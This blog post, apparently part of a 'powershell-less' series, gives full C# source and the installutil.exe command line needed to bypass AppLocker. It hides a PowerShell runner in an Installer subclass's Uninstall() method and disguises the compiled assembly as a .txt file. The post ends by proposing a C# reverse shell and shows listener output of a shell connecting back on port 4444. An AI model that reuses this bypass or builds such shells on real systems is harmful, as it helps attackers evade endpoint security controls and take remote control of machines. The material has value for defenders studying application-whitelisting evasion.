This is the third part of my “powershell-less” series: howto execute powershell scripts without using powershell.exe
In part 2 I used DotNetToJscript in order to circumvent AppLocker policy.
Now let’s try to use another technique. The problem is always the same: we cannot run executable files outside windows directories and we can’t run powershell.exe.
Never heard about installutil.exe? It is usually located in the dot.net framework folder (ex: C:\Windows\Microsoft.NET\Framework64\v4.0.30319).
Why should it be usfeul? Because of that:
“The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. This tool works in conjunction with classes in the System.Configuration.Install namespace.”
- We could integrate installutil in our powerhsell-less assembly and overwrite some of his actions with our own. For example the uninstall process:
- installutil /u <our_assembly>
- installutil does NOT require the assembly to have .exe extension.. got it ? 😉
Now, how can we achieve our goal?
Very simple: In our powershell-less C# code, we have to reference “System.Configuration.Install” and create our specialized class inherited from “System.Configuration.Install.Installer”. Then, we will overwrite the Uninstall() method and execute our powerhsell-less routine. Easy?
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Runtime.InteropServices;
using System.IO;
using System;
using System.Text;
using System.Configuration.Install;
namespace PSLess
{
[System.ComponentModel.RunInstaller(true)]
public class InstallUtil : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
string[] args= {this.Context.Parameters["ScriptName"]};
PSLess.Main(args);
}
}
class PSLess
{
public static void Main(string[] args)
{
if (args.Length == 0)
Environment.Exit(1);
string script = LoadScript(args[0]);
string s = RunScript(script);
Console.WriteLine(s);
}
private static string LoadScript(string filename)
{
string buffer = "";
try
{
buffer = File.ReadAllText(filename);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
Environment.Exit(2);
}
return buffer;
}
private static string RunScript(string script)
{
Runspace MyRunspace = RunspaceFactory.CreateRunspace();
MyRunspace.Open();
Pipeline MyPipeline = MyRunspace.CreatePipeline();
MyPipeline.Commands.AddScript(script);
MyPipeline.Commands.Add("Out-String");
Collection<PSObject> outputs = MyPipeline.Invoke();
MyRunspace.Close();
StringBuilder sb = new StringBuilder();
foreach (PSObject pobject in outputs)
{
sb.AppendLine(pobject.ToString());
}
return sb.ToString();
}
}
}
As you can see, code is much the same as in first part:
- Added the reference to “System.Configuration.Install”
- Added my “InstallUtil” class derived from System.Configuration.Install.Installer
- Overwrote the method Uninstall() which calls my PSLess.Main method passing the script name specified in command line argument “ScriptName”
Now let’s compile it and then rename our powershell-less.exe in powerhsell.txt
We already have prepared our test.ps1:
echo "hello from powershell-less" echo "this is your pid:$PID" $psversiontable
Time to test it:
installutil /logfile= /LogToConsole=false /ScriptName=c:\andrea\test.ps1 /U Powershell.txt

It worked, we executed our powershell-less pseudo txt file!
Now that we know how to run our custom assemblies with .txt extension we can do much more, there are no limits to your fantasy.. how a about a reverse shell in C#?



.. and we have our reverse shell:
listening on [any] 4444 ... connect to [192.168.1.128] from [192.168.1.8] 50211 Microsoft Windows [Versione 10.0.15063] (c) 2017 Microsoft Corporation. Tutti i diritti sono riservati. d:\andrea\reverseshell\reverseshell\bin\Release\>
That’s all 🙂